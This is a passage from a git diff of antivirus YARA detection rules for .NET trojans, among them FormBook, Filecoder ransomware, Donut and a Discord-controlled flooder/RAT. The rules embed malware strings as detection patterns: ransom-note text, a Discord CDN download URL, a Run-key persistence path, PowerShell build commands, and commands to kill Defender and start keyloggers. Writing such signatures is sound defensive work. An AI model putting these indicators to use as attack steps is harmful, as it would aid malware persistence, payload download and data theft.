07 20 f8 2f 14 00 32 e3 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Diztakun/Trojan_BAT_Diztakun_AXC_MTB.yar b/Trojan/BAT/Diztakun/Trojan_BAT_Diztakun_AXC_MTB.yar new file mode 100644 index 0000000000..d7d0e562a3 --- /dev/null +++ b/Trojan/BAT/Diztakun/Trojan_BAT_Diztakun_AXC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Diztakun_AXC_MTB{ + meta: + description = "Trojan:BAT/Diztakun.AXC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {06 72 11 00 00 70 6f 18 00 00 0a 00 06 28 19 00 00 0a 26 7e 1a 00 00 0a 72 80 01 00 70 6f 1b 00 00 0a 0b 07 72 f4 01 00 70 17 8c 22 00 00 01 17 6f 1c 00 00 0a 00 7e 1d 00 00 0a 72 12 02 00 70 6f 1b 00 00 0a 0c 08 72 7e 02 00 70 72 8a 02 00 70 17 6f 1c 00 00 0a } //2 + $a_00_1 = {50 72 6f 63 65 73 73 53 74 61 72 74 49 6e 66 6f } //1 ProcessStartInfo + condition: + ((#a_01_0 & 1)*2+(#a_00_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Donut/Trojan_BAT_Donut_MKV_MTB.yar b/Trojan/BAT/Donut/Trojan_BAT_Donut_MKV_MTB.yar new file mode 100644 index 0000000000..483e05b12d --- /dev/null +++ b/Trojan/BAT/Donut/Trojan_BAT_Donut_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Donut_MKV_MTB{ + meta: + description = "Trojan:BAT/Donut.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {13 04 06 08 20 e8 03 00 00 73 3f 00 00 0a 13 05 00 11 05 1f 20 6f ?? 00 00 0a 13 06 73 41 00 00 0a 13 07 00 11 07 20 00 01 00 00 6f ?? 00 00 0a 00 11 07 17 6f ?? 00 00 0a 00 11 07 18 6f ?? 00 00 0a 00 11 07 11 06 09 6f ?? 00 00 0a 13 08 00 11 04 73 52 00 00 0a 13 09 00 11 09 11 08 16 73 47 00 00 0a 13 0a 11 0a 28 ?? 00 00 0a 73 53 00 00 0a 13 0b 00 11 0b 6f ?? 00 00 0a 13 0c de 4e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Donut/Trojan_BAT_Donut_SLG_MTB.yar b/Trojan/BAT/Donut/Trojan_BAT_Donut_SLG_MTB.yar new file mode 100644 index 0000000000..c745f42486 --- /dev/null +++ b/Trojan/BAT/Donut/Trojan_BAT_Donut_SLG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Donut_SLG_MTB{ + meta: + description = "Trojan:BAT/Donut.SLG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {16 02 8e 69 7e 05 00 00 04 7e 08 00 00 04 6f ?? 00 00 06 13 0c 72 ?? 05 1a 70 13 04 00 11 04 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Downloader/Trojan_BAT_Downloader_BK_MTB.yar b/Trojan/BAT/Downloader/Trojan_BAT_Downloader_BK_MTB.yar deleted file mode 100644 index f1fa646937..0000000000 --- a/Trojan/BAT/Downloader/Trojan_BAT_Downloader_BK_MTB.yar +++ /dev/null @@ -1,18 +0,0 @@ - -rule Trojan_BAT_Downloader_BK_MTB{ - meta: - description = "Trojan:BAT/Downloader.BK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " - - strings : - $a_01_0 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 } //2 https://cdn.discordapp.com/attachments - $a_01_1 = {61 00 48 00 52 00 30 00 63 00 48 00 4d 00 36 00 4c 00 79 00 39 00 6a 00 5a 00 47 00 34 00 75 00 5a 00 47 00 6c 00 7a 00 59 00 32 00 39 00 79 00 5a 00 47 00 46 00 77 00 63 00 43 00 35 00 6a 00 62 00 32 00 30 00 76 00 59 00 58 00 52 00 30 00 59 00 57 00 4e 00 6f 00 62 00 57 00 56 00 75 00 64 00 48 00 4d 00 76 00 4f 00 } //2 aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvO - $a_01_2 = {63 00 3a 00 5c 00 76 00 61 00 72 00 74 00 2e 00 62 00 61 00 74 00 } //2 c:\vart.bat - $a_01_3 = {41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 53 00 6b 00 79 00 70 00 65 00 2e 00 65 00 78 00 65 00 } //2 AppData\Local\Temp\Skype.exe - $a_01_4 = {44 6f 77 6e 6c 6f 61 64 46 69 6c 65 } //1 DownloadFile - $a_01_5 = {46 6f 72 6d 31 } //1 Form1 - $a_01_6 = {44 69 73 70 6f 73 65 } //1 Dispose - $a_01_7 = {44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 } //1 DebuggableAttribute - condition: - ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 - -} \ No newline at end of file diff --git a/Trojan/BAT/Etset/Trojan_BAT_Etset_GVB_MTB.yar b/Trojan/BAT/Etset/Trojan_BAT_Etset_GVB_MTB.yar new file mode 100644 index 0000000000..6a2732ae85 --- /dev/null +++ b/Trojan/BAT/Etset/Trojan_BAT_Etset_GVB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Etset_GVB_MTB{ + meta: + description = "Trojan:BAT/Etset.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {72 01 00 00 70 28 05 00 00 0a 0a 28 06 00 00 0a 28 07 00 00 0a 0c 12 02 fe 16 08 00 00 01 6f 08 00 00 0a 72 b6 1a ca 70 28 09 00 00 0a 28 0a 00 00 0a 0b 07 06 28 0b 00 00 0a 07 28 0c 00 00 0a 26 2a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/EtwHook/Trojan_BAT_EtwHook_GVA_MTB.yar b/Trojan/BAT/EtwHook/Trojan_BAT_EtwHook_GVA_MTB.yar new file mode 100644 index 0000000000..aef016ceea --- /dev/null +++ b/Trojan/BAT/EtwHook/Trojan_BAT_EtwHook_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_EtwHook_GVA_MTB{ + meta: + description = "Trojan:BAT/EtwHook.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {72 b7 0d 00 70 28 3d 00 00 06 72 21 15 00 70 28 3c 00 00 06 0b 07 02 8e 69 6a 28 66 00 00 0a 1f 40 12 00 28 3e 00 00 06 26 02 16 07 02 8e 69 28 32 00 00 0a de 0d 26 72 3d 15 00 70 28 1b 00 00 0a de 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Evader/Trojan_BAT_Evader_PGE_MTB.yar b/Trojan/BAT/Evader/Trojan_BAT_Evader_PGE_MTB.yar new file mode 100644 index 0000000000..7f811041c5 --- /dev/null +++ b/Trojan/BAT/Evader/Trojan_BAT_Evader_PGE_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Evader_PGE_MTB{ + meta: + description = "Trojan:BAT/Evader.PGE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_01_0 = {67 6d 6f 20 70 73 31 32 65 78 65 20 2d 4c 69 73 74 41 76 61 69 6c 61 62 6c 65 20 2d 65 61 20 53 69 6c 65 6e 74 6c 79 43 6f 6e 74 69 6e 75 65 } //2 gmo ps12exe -ListAvailable -ea SilentlyContinue + $a_01_1 = {49 6e 73 74 61 6c 6c 2d 4d 6f 64 75 6c 65 20 70 73 31 32 65 78 65 20 2d 53 63 6f 70 65 20 43 75 72 72 65 6e 74 55 73 65 72 20 2d 46 6f 72 63 65 20 2d 65 61 20 53 74 6f 70 } //2 Install-Module ps12exe -Scope CurrentUser -Force -ea Stop + $a_01_2 = {24 4e 65 78 74 4e 75 6d 62 65 72 20 3d 20 24 4e 75 6d 62 65 72 2b 31 } //3 $NextNumber = $Number+1 + $a_01_3 = {24 4e 65 78 74 53 63 72 69 70 74 20 3d 20 24 50 53 45 58 45 73 63 72 69 70 74 2e 52 65 70 6c 61 63 65 } //2 $NextScript = $PSEXEscript.Replace + $a_01_4 = {24 4e 65 78 74 53 63 72 69 70 74 20 7c 20 70 73 31 32 65 78 65 20 2d 6f 75 74 70 75 74 46 69 6c 65 20 24 50 53 53 63 72 69 70 74 52 6f 6f 74 2f 24 4e 65 78 74 4e 75 6d 62 65 72 2e 65 78 65 20 2a 3e 20 24 6e 75 6c 6c } //1 $NextScript | ps12exe -outputFile $PSScriptRoot/$NextNumber.exe *> $null + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*3+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Exnet/Trojan_BAT_Exnet_EAQE_MTB.yar b/Trojan/BAT/Exnet/Trojan_BAT_Exnet_EAQE_MTB.yar new file mode 100644 index 0000000000..0f370d5655 --- /dev/null +++ b/Trojan/BAT/Exnet/Trojan_BAT_Exnet_EAQE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Exnet_EAQE_MTB{ + meta: + description = "Trojan:BAT/Exnet.EAQE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {02 50 07 02 50 8e b7 5d 02 50 07 02 50 8e b7 5d 91 03 07 03 8e b7 5d 91 61 02 50 07 17 d6 02 50 8e b7 5d 91 da 20 00 01 00 00 d6 20 00 01 00 00 5d b4 9c 07 17 d6 0b 07 08 31 c5 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Exnet/Trojan_BAT_Exnet_MKV_MTB.yar b/Trojan/BAT/Exnet/Trojan_BAT_Exnet_MKV_MTB.yar new file mode 100644 index 0000000000..31664b4ed4 --- /dev/null +++ b/Trojan/BAT/Exnet/Trojan_BAT_Exnet_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Exnet_MKV_MTB{ + meta: + description = "Trojan:BAT/Exnet.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 07 6f 21 00 00 0a 02 8e 69 07 8e 69 59 8d 18 00 00 01 0c 02 07 8e 69 08 16 08 8e 69 28 ?? 00 00 0a 06 17 6f ?? 00 00 0a 06 18 6f ?? 00 00 0a 08 73 24 00 00 0a 0d 09 06 6f ?? 00 00 0a 16 73 26 00 00 0a 13 04 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MA_MTB.yar b/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MA_MTB.yar deleted file mode 100644 index 6b7cafa2b1..0000000000 --- a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MA_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_BAT_FileCoder_MA_MTB{ - meta: - description = "Trojan:BAT/FileCoder.MA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {72 11 00 00 70 28 3a 00 00 06 7e 1e 00 00 04 } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MJ_MTB.yar b/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MJ_MTB.yar deleted file mode 100644 index 5c17eb8625..0000000000 --- a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MJ_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_BAT_FileCoder_MJ_MTB{ - meta: - description = "Trojan:BAT/FileCoder.MJ!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {7e 03 00 00 04 7e 02 00 00 04 07 28 07 00 00 06 0c } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MK_MTB.yar b/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MK_MTB.yar deleted file mode 100644 index 48d297bb32..0000000000 --- a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MK_MTB.yar +++ /dev/null @@ -1,15 +0,0 @@ - -rule Trojan_BAT_FileCoder_MK_MTB{ - meta: - description = "Trojan:BAT/FileCoder.MK!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 00 " - - strings : - $a_01_0 = {66 00 69 00 6c 00 65 00 73 00 20 00 6f 00 6e 00 20 00 79 00 6f 00 75 00 72 00 20 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 } //1 files on your computer - $a_01_1 = {70 00 65 00 72 00 73 00 6f 00 6e 00 61 00 6c 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 63 00 6f 00 64 00 65 00 } //1 personal decryption code - $a_01_2 = {6b 00 65 00 79 00 67 00 72 00 6f 00 75 00 70 00 37 00 37 00 37 00 } //1 keygroup777 - $a_01_3 = {62 00 69 00 74 00 63 00 6f 00 69 00 6e 00 } //1 bitcoin - $a_01_4 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run - condition: - ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 - -} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MV_MTB.yar b/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MV_MTB.yar deleted file mode 100644 index 36e6dc9b25..0000000000 --- a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MV_MTB.yar +++ /dev/null @@ -1,18 +0,0 @@ - -rule Trojan_BAT_FileCoder_MV_MTB{ - meta: - description = "Trojan:BAT/FileCoder.MV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 00 " - - strings : - $a_00_0 = {66 61 6b 65 63 72 79 2e 70 64 62 } //10 fakecry.pdb - $a_80_1 = {62 69 74 63 6f 69 6e } //bitcoin 1 - $a_01_2 = {79 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //1 your files have been encrypted - $a_00_3 = {52 61 6e 73 6f 6d 77 61 72 65 2e 70 64 62 } //10 Ransomware.pdb - $a_00_4 = {43 61 6c 63 75 6c 61 74 6f 72 2e 65 78 65 } //10 Calculator.exe - $a_00_5 = {45 6e 63 72 79 70 74 46 69 6c 65 } //1 EncryptFile - $a_00_6 = {70 00 61 00 79 00 6d 00 65 00 6e 00 74 00 20 00 63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 } //1 payment confirmation - $a_00_7 = {70 72 6f 6a 65 63 74 6d 61 72 73 2e 65 78 65 } //10 projectmars.exe - condition: - ((#a_00_0 & 1)*10+(#a_80_1 & 1)*1+(#a_01_2 & 1)*1+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*10) >=12 - -} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_EBIO_MTB.yar b/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_EBIO_MTB.yar new file mode 100644 index 0000000000..c20b1e6f9d --- /dev/null +++ b/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_EBIO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Filecoder_EBIO_MTB{ + meta: + description = "Trojan:BAT/Filecoder.EBIO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {5f 0b 03 1b 5a 03 1d 63 5f 03 1f 0c 63 60 1f 7f 5f 0c 03 1f 2a 03 1f 0a 63 5f 5a 03 1e 63 61 1f 3f 5f 0d } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_JKU_MTB.yar b/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_JKU_MTB.yar new file mode 100644 index 0000000000..9699276bc2 --- /dev/null +++ b/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_JKU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Filecoder_JKU_MTB{ + meta: + description = "Trojan:BAT/Filecoder.JKU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {09 08 16 08 8e 69 6f 38 00 00 0a 09 07 07 6f 39 00 00 0a 08 6f 3a 00 00 0a 17 73 3b 00 00 0a 13 04 03 19 73 37 00 00 0a 13 05 11 05 11 04 6f 3c 00 00 0a de 0c } //2 + $a_01_1 = {06 72 67 04 00 70 6f 30 00 00 0a 28 31 00 00 0a 0b de 0a 06 2c 06 06 6f 2a 00 00 0a dc } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_MBZ_MTB.yar b/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_MBZ_MTB.yar new file mode 100644 index 0000000000..4a49bbe9c2 --- /dev/null +++ b/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_MBZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Filecoder_MBZ_MTB{ + meta: + description = "Trojan:BAT/Filecoder.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {0b 02 06 07 28 ?? 00 00 06 0c 03 08 28 ?? 00 00 0a 00 03 03 72 ff 00 00 70 } //2 + $a_01_1 = {36 34 62 35 34 66 34 61 63 62 38 64 } //1 64b54f4acb8d + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_SWA_MTB.yar b/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_SWA_MTB.yar new file mode 100644 index 0000000000..90823dbd30 --- /dev/null +++ b/Trojan/BAT/Filecoder/Trojan_BAT_Filecoder_SWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Filecoder_SWA_MTB{ + meta: + description = "Trojan:BAT/Filecoder.SWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {06 16 07 8e 69 6f ?? 00 00 0a 13 04 08 09 07 11 04 93 9d 09 17 58 0d 09 1f 1b 32 e4 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Flooder/Trojan_BAT_Flooder_GPA_MTB.yar b/Trojan/BAT/Flooder/Trojan_BAT_Flooder_GPA_MTB.yar new file mode 100644 index 0000000000..46b11ec3ec --- /dev/null +++ b/Trojan/BAT/Flooder/Trojan_BAT_Flooder_GPA_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_BAT_Flooder_GPA_MTB{ + meta: + description = "Trojan:BAT/Flooder.GPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 0d 00 00 " + + strings : + $a_80_0 = {73 6c 6f 77 6c 6f 72 69 73 } //slowloris 1 + $a_80_1 = {68 74 74 70 66 6c 6f 6f 64 } //httpflood 1 + $a_80_2 = {75 64 70 66 6c 6f 6f 64 } //udpflood 1 + $a_80_3 = {64 6e 73 61 6d 70 } //dnsamp 1 + $a_80_4 = {4f 70 65 6e 65 64 20 70 6f 72 6e 68 75 62 20 6f 6e 20 76 69 63 74 69 6d 20 50 43 } //Opened pornhub on victim PC 1 + $a_80_5 = {21 77 65 62 63 61 6d } //!webcam 1 + $a_80_6 = {21 64 64 6f 73 } //!ddos 1 + $a_80_7 = {64 69 73 61 62 6c 69 6e 67 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 } //disabling Windows Defender 1 + $a_80_8 = {72 75 6e 6e 69 6e 67 20 72 61 74 20 61 73 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 } //running rat as administrator 1 + $a_80_9 = {21 6b 69 6c 6c 64 65 66 65 6e 64 65 72 } //!killdefender 2 + $a_80_10 = {6b 65 79 6c 6f 67 67 65 72 73 74 61 72 74 } //keyloggerstart 2 + $a_80_11 = {73 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 } //screenshot.png 2 + $a_80_12 = {44 69 73 63 6f 72 64 2e 57 65 62 53 6f 63 6b 65 74 } //Discord.WebSocket 2 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*2+(#a_80_10 & 1)*2+(#a_80_11 & 1)*2+(#a_80_12 & 1)*2) >=16 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABF_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABF_MTB.yar index a03782df55..108fc69453 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABF_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABF_MTB.yar @@ -54,6 +54,29 @@ rule Trojan_BAT_FormBook_ABF_MTB_5{ } rule Trojan_BAT_FormBook_ABF_MTB_6{ + meta: + description = "Trojan:BAT/FormBook.ABF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {5a 05 6c 5b 28 ?? 00 00 0a 02 7b ?? 01 00 04 5a 13 05 04 2c 11 11 04 04 8e 69 2f 0a 11 05 04 11 04 98 6c 5a 13 05 06 7b ?? 01 00 04 11 04 11 05 28 ?? 00 00 0a a1 11 04 17 58 } //2 + $a_03_1 = {0a 0a 12 01 fe 15 ?? 00 00 02 12 01 12 00 28 ?? 01 00 0a 7d ?? 01 00 04 12 01 12 00 28 ?? 01 00 0a 7d ?? 01 00 04 12 01 12 00 28 ?? 01 00 0a 7d ?? 01 00 04 0e 05 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} +rule Trojan_BAT_FormBook_ABF_MTB_7{ + meta: + description = "Trojan:BAT/FormBook.ABF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {16 30 04 11 0f 2b 02 11 11 2b 02 11 10 13 0f 11 0f 6f ?? 00 00 0a 00 11 06 72 ?? 01 00 70 6f ?? 00 00 0a 07 5f 13 12 11 12 2c 0a 00 11 05 6f ?? 00 00 0a 00 00 00 11 0d 17 } //3 + $a_03_1 = {13 14 2b 15 12 14 28 ?? 00 00 0a 13 15 00 09 11 15 6f ?? 00 00 0a 61 0d 00 12 14 28 } //2 + $a_01_2 = {41 00 73 00 73 00 69 00 67 00 6e 00 6d 00 65 00 6e 00 74 00 32 00 5f 00 57 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 } //1 Assignment2_Winform + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1) >=6 + +} +rule Trojan_BAT_FormBook_ABF_MTB_8{ meta: description = "Trojan:BAT/FormBook.ABF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 00 " diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABK_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABK_MTB.yar index e9d78c0bb5..4821a95513 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABK_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABK_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_FormBook_ABK_MTB{ + meta: + description = "Trojan:BAT/FormBook.ABK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {b4 9c 00 2b 0d 00 07 11 04 07 11 04 91 17 da b4 9c 00 11 04 17 d6 13 04 11 04 09 31 ae } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_FormBook_ABK_MTB_2{ meta: description = "Trojan:BAT/FormBook.ABK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -10,7 +20,7 @@ rule Trojan_BAT_FormBook_ABK_MTB{ ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_ABK_MTB_2{ +rule Trojan_BAT_FormBook_ABK_MTB_3{ meta: description = "Trojan:BAT/FormBook.ABK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABSA_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABSA_MTB.yar new file mode 100644 index 0000000000..88f76a1c5f --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ABSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_ABSA_MTB{ + meta: + description = "Trojan:BAT/FormBook.ABSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 04 11 07 11 0b 6f ?? ?? 00 0a 13 0c 11 17 20 9f 26 26 22 5a 20 47 37 da 6c 61 38 ?? fe ff ff 00 11 17 20 e1 e3 ce bd 5a 20 f7 7d 31 c4 61 38 ?? fe ff ff 00 11 17 20 14 cf aa 52 5a 20 1f 4d 73 aa 61 38 ?? fe ff ff 11 06 11 05 6f ?? ?? 00 0a 59 13 0d 11 0d 19 fe 04 16 fe 01 13 0e 11 0e 2d 08 } //5 + $a_03_1 = {01 25 16 12 0c 28 ?? ?? 00 0a 9c 25 17 12 0c 28 ?? ?? 00 0a 9c 25 18 12 0c 28 ?? ?? 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ACH_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ACH_MTB.yar new file mode 100644 index 0000000000..3bb71e8f40 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ACH_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_ACH_MTB{ + meta: + description = "Trojan:BAT/FormBook.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {05 07 0e 06 23 00 00 00 00 00 00 ?? ?? 19 28 ?? 00 00 06 0c 02 05 07 6f ?? 00 00 0a 0d 03 04 09 08 06 05 07 } //3 + $a_03_1 = {0a 0f 02 28 ?? 00 00 0a 0b 0f 02 28 ?? 00 00 0a 0c 06 07 08 05 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AE_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AE_MTB.yar new file mode 100644 index 0000000000..cb290a05d1 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_AE_MTB{ + meta: + description = "Trojan:BAT/FormBook.AE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0a 0c 07 17 